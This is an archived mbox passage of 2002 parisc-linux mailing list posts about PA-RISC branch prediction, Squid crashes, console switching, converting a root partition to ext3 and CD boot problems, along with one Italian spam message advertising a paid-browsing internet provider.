> returns) can't.

yes.  IIRC, branches forward tend to not be taken and branches backwards
tend to be loops. Or something along that line. But with PBO, the
static hints are better. And HPUX has a very cool "driver" called
"flipper" that will flip to static hints to match performance path
at run time.
 
> I don't know how the dynamic prediction hardware
> works but I would think it wouldn't be there if it didn't
> improve branch prediction.

yeah - I'll what I can learn about it this week.

thanks,
grant


From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SQUID failled :(
Date: Sat, 26 Oct 2002 20:00:45 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20021027020046.F2555482B@dsl2.external.hp.com>
References: <3DBAD5D4.8020900@freebel.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621866 16045 80.91.229.3 (22 Nov 2014 02:04:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 20:00:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F2555482B; Sat, 26 Oct 2002 20:00:45 -0600 (MDT)
In-Reply-To: Message from Joel Soete <joel.soete@freebel.net> 
   of "Sat, 26 Oct 2002 17:50:12 -0000." <3DBAD5D4.8020900@freebel.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16605

Joel Soete wrote:
> Is somebody reach to make squid running on a woody pa-box?
> I install it (to replace a old pentium 100Mhz box).
> Well it start some second(s) then stop without any message anywhere 

you check dmesg output?

grant


From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A few questions
Date: Sun, 27 Oct 2002 03:54:29 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20021027025429.614FD49C6A@mail.esiee.fr>
References: <000901c27d25$c18647a0$0100a8c0@posix2paebsbtq>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621866 16046 80.91.229.3 (22 Nov 2014 02:04:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: posix <p0six@gmx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 20:54:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C498485E
	for <parisc-linux@parisc-linux.org>; Sat, 26 Oct 2002 20:54:34 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 0E65F49C6B; Sun, 27 Oct 2002 03:54:30 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 614FD49C6A; Sun, 27 Oct 2002 03:54:29 +0100 (CET)
X-Originating-IP: [147.215.7.13]
In-Reply-To: <000901c27d25$c18647a0$0100a8c0@posix2paebsbtq>
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16606

-------------------
> Hi!
> I was wondering if there is another way than what is descriped in 
the PA-RISC/linux-bootHOWTO to exit serial console and enter graphics 
console?
> 
> I would really appreciate an answer //Patrick

I confess not even understanding the meaning of this question.

You don't "enter" or "exit" serial/graphic console.
You switch from one too another.

There is only one way to do so, the one described in the howto.
If there were others, we would have mentionned them...

HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Giovanni" <smith_it@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Guadagnare navigando!!!!!!!!!!!!!!!!!!!!!!!!!
Date: Sun, 27 Oct 2002 08:36:54 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <RAPE-PGA06YKQVPzni500019fa8@rape-pga06ykqvp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_67E90_01C27D94.0108C920"
X-Trace: ger.gmane.org 1416621866 16050 80.91.229.3 (22 Nov 2014 02:04:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:26 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 27 01:29:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rape-pga06ykqvp (unknown [195.78.20.221])
	by dsl2.external.hp.com (Postfix) with ESMTP id F14214860
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Oct 2002 01:29:35 -0600 (MDT)
Original-Received: from mail pickup service by rape-pga06ykqvp with Microsoft SMTPSVC;
	 Sun, 27 Oct 2002 08:36:54 +0100
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-OriginalArrivalTime: 27 Oct 2002 07:36:54.0984 (UTC) FILETIME=[9F825480:01C27D8B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16607

This is a multi-part message in MIME format.

------=_NextPart_000_67E90_01C27D94.0108C920
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

PROVA A NAVIGARE CON QUESTO NUOVO PROVIDER
E' VELOCE ED AFFIDABILE

http://www.emoti.it/home/?ID=426

TI PAGANO PURE PER NAVIGARE!!!


------=_NextPart_000_67E90_01C27D94.0108C920
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!-- saved from url=3D(0022)http://internet.e-mail -->
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; =
charset=3Diso-8859-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<table width=3D"550" border=3D"2" cellspacing=3D"0" cellpadding=3D"0" =
align=3D"center" height=3D"198" bordercolor=3D"#999999">
  <tr>
    <td height=3D"258">=20
      <p align=3D"center"><font size=3D"5" face=3D"Arial, Helvetica, =
sans-serif">PROVA=20
        A NAVIGARE CON QUESTO NUOVO PROVIDER<br>
        E' VELOCE ED AFFIDABILE<br>
        <br>
        <a =
href=3D"http://www.emoti.it/home/?ID=3D426">http://www.emoti.it/home/?ID=3D=
426</a><br>
        <br>
        TI PAGANO PURE PER NAVIGARE!!!</font></p>
      </td>
  </tr>
</table>
</body>
</html>

------=_NextPart_000_67E90_01C27D94.0108C920--


From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ext3 /
Date: Sun, 27 Oct 2002 11:28:04 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20021027092756.D8B974862@dsl2.external.hp.com>
Reply-To: "Stephan" <stephan@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1";
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621867 16054 80.91.229.3 (22 Nov 2014 02:04:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 27 02:27:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id D8B974862
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Oct 2002 02:27:56 -0700 (MST)
Original-Received: (qmail 4185 invoked from network); 27 Oct 2002 09:28:04 -0000
Original-Received: from softdnserror (HELO Godzilla) (httpd@212.72.204.1)
  by softdnserror with SMTP; 27 Oct 2002 09:28:04 -0000
Original-Received: from client 212.72.196.10 for UebiMiau2.7 (webmail client); Sun, 27 Oct 2002 11:28:04 +0200
X-Priority: 3
X-Mailer: Godzilla 1.0.1
X-Original-IP: 212.72.196.10
X-MSMail-Priority: Medium
Importance: Medium
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16608

Hello,
/dev/sda1   *         1        15     61814   f0  Linux/PA-RISC boot
/dev/sda2            16       441   1756398   83  Linux
/dev/sda3           442       562    498883   82  Linux swap
/dev/sda4           563      1017   1875965   83  Linux
it is my partitions of my linux
Can I make /dev/sda2 which is / partition ext3 or reiserfs? i.e. journaling
FS
After I made dist-upgrade 1 week ago, my uname don't works, if I write uname
-a there is segmentation fault, any ideas?I am using 2.4.18-pa61, because
this kernel is more stable for me, than 2.4.19-p19 - pa22.

Regards

________________________________________________
Message sent using Godzilla 1.0.1



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 /
Date: Sun, 27 Oct 2002 10:33:55 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20021027093355.GD9302@charite.de>
References: <20021027092756.D8B974862@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621867 16056 80.91.229.3 (22 Nov 2014 02:04:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 27 02:34:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 810854866
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Oct 2002 02:34:00 -0700 (MST)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id DE94515C00C; Sun, 27 Oct 2002 10:33:55 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id D8450633AD; Sun, 27 Oct 2002 10:33:55 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20021027092756.D8B974862@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16609

On Sun, Oct 27, 2002 at 11:28:04AM +0200, Stephan wrote:
> Hello,
> /dev/sda1   *         1        15     61814   f0  Linux/PA-RISC boot
> /dev/sda2            16       441   1756398   83  Linux
> /dev/sda3           442       562    498883   82  Linux swap
> /dev/sda4           563      1017   1875965   83  Linux
> it is my partitions of my linux
> Can I make /dev/sda2 which is / partition ext3 or reiserfs? i.e. journaling
> FS

Yes, why not?

tune2fs -j /

> After I made dist-upgrade 1 week ago, my uname don't works, if I write uname
> -a there is segmentation fault, any ideas?

I filed a bug report a few days ago. Check the Debian bug database.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Microsoft: "Where do you want to go today?"
Linux:     "Where do you want to be tomorrow?"
BSD:       "Are you guys coming, or what?"



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "N.Leymann" <leymann@berkom.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Branch Prediction
Date: Sun, 27 Oct 2002 11:20:00 +0100 (MET)
Lines: 45
Approved: news@gmane.org
Message-ID: <200210271020.g9RAK03q006456@mailer.berkom.de>
References: <20021027012303.7B576484E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621867 16058 80.91.229.3 (22 Nov 2014 02:04:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave@hiauly1.hia.nrc.ca
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 27 03:23:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailer.berkom.de (mailer.berkom.de [141.39.13.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF11C4864
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Oct 2002 03:23:45 -0700 (MST)
Original-Received: from mailer.berkom.de (localhost [127.0.0.1])
	by mailer.berkom.de (0.0.0/8.12.5) with ESMTP id g9RAK1h6006468;
	Sun, 27 Oct 2002 11:20:01 +0100 (MET)
Original-Received: (from leymann@localhost)
	by mailer.berkom.de (0.0.0/8.12.5/Submit) id g9RAK03q006456;
	Sun, 27 Oct 2002 11:20:00 +0100 (MET)
In-Reply-To: <20021027012303.7B576484E@dsl2.external.hp.com> from "Grant Grundler" at Oct 26, 2002 07:23:03 PM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16610

Hi,

Sunday, October 27, 2002, 2:23:03 AM, you wrote:

> "John David Anglin" wrote:
>> I wonder if the PA-8700 in the rp2470 has it?
> gsyprf11 is a 650Mhz PA8700. please try it.

It's quite a while ago that I worked on assembly level with HPPA so I
might be wrong. But as far as I know most of the HPPA (at least 8200 and
8700) implement static and dynamic branch prediction. Which scheme is
used is controlled on a per page basis with the P-Bit in the ITLB.

With the HP c/c++ compilers you can control this behaviour using the
+O[no]static_prediction flags.

> Think so?
> After reading the description I had the impression BTS has to be on chip
> and integrated in order to get the speed. But I'm just a SW engineer...
Yep. If it's implemented it has to be on chip.

> yes.  IIRC, branches forward tend to not be taken and branches backwards
> tend to be loops. Or something along that line. But with PBO, the
> static hints are better. And HPUX has a very cool "driver" called
> "flipper" that will flip to static hints to match performance path
> at run time.
 
>> I don't know how the dynamic prediction hardware
>> works but I would think it wouldn't be there if it didn't
>> improve branch prediction.
In this case a branch history table is used which records the results of the
last branches. HPPA uses a three bit shift register (256 entries).
The fetch unit checks this register and predicts the branch according to the
content. eg. if the branch was taken two times before it is predicted that it
will be taken again.

If you are interested in more details I can check tomorrow when I'm back to
office. I should have a paper somewhere which compares static and dynamic
branch prediction on PA2.0.

  hope that helps

     Nic



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A few questions
Date: Sun, 27 Oct 2002 17:31:47 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20021027163147.CE00C49C0B@mail.esiee.fr>
References: <000501c27dc6$4f18d7e0$0100a8c0@posix2paebsbtq>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621868 16059 80.91.229.3 (22 Nov 2014 02:04:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: posix <p0six@gmx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 27 09:31:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AE3E4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Oct 2002 09:31:52 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 5A6EE49C15; Sun, 27 Oct 2002 17:31:48 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id CE00C49C0B; Sun, 27 Oct 2002 17:31:47 +0100 (CET)
X-Originating-IP: [147.215.1.189]
In-Reply-To: <000501c27dc6$4f18d7e0$0100a8c0@posix2paebsbtq>
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16611

-------------------
> Hi! Again
> 
> Why doesn't my system like to boot parisc-linux from the cd?
> It "hangs" after printing HPMC and a bunch of adresses to the 
screen :(

Have you checked md5sum ?
Are you sure your CD is properly burned ?
Are you sure your CD-ROM drive is working properly and supported ?

Please search the mailing-list archive, this question has been asked 
several times.

And please, do not mail me personnaly. This is not a private lesson.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 /
Date: Sun, 27 Oct 2002 19:56:41 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <3DBC44F9.1010006@freebel.net>
References: <20021027092756.D8B974862@dsl2.external.hp.com> <20021027093355.GD9302@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621868 16061 80.91.229.3 (22 Nov 2014 02:04:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:28 +0000 (UTC)
Cc: Stephan <stephan@itp.bg>, parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 27 11:50:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CDAD482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Oct 2002 11:50:38 -0700 (MST)
Original-Received: from [62.235.71.88] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 185sUX-0004q8-00; Sun, 27 Oct 2002 19:50:30 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16612


Ralf Hildebrandt wrote:
> On Sun, Oct 27, 2002 at 11:28:04AM +0200, Stephan wrote:
> 
>>Hello,
>>/dev/sda1   *         1        15     61814   f0  Linux/PA-RISC boot
>>/dev/sda2            16       441   1756398   83  Linux
>>/dev/sda3           442       562    498883   82  Linux swap
>>/dev/sda4           563      1017   1875965   83  Linux
>>it is my partitions of my linux
>>Can I make /dev/sda2 which is / partition ext3 or reiserfs? i.e. journaling
>>FS
> 
> 
> Yes, why not?
> 
> tune2fs -j /

Afaik palo does not support reiserfs; if you boot from your kernel 
located into /boot it could be a problem !?

> 
>>After I made dist-upgrade 1 week ago, my uname don't works, if I write uname
>>-a there is segmentation fault, any ideas?
> 
> 
> I filed a bug report a few days ago. Check the Debian bug database.
> 
Yes I also test it and it works fine; thanks a lot

Cheers,
	Joel



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 /
Date: Sun, 27 Oct 2002 20:22:50 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20021027192250.GM31050@charite.de>
References: <20021027092756.D8B974862@dsl2.external.hp.com> <20021027093355.GD9302@charite.de> <3DBC44F9.1010006@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621868 16067 80.91.229.3 (22 Nov 2014 02:04:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:28 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	Stephan <stephan@itp.bg>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 27 12:22:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2F08482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Oct 2002 12:22:54 -0700 (MST)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 8578B15C018; Sun, 27 Oct 2002 20:22:50 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
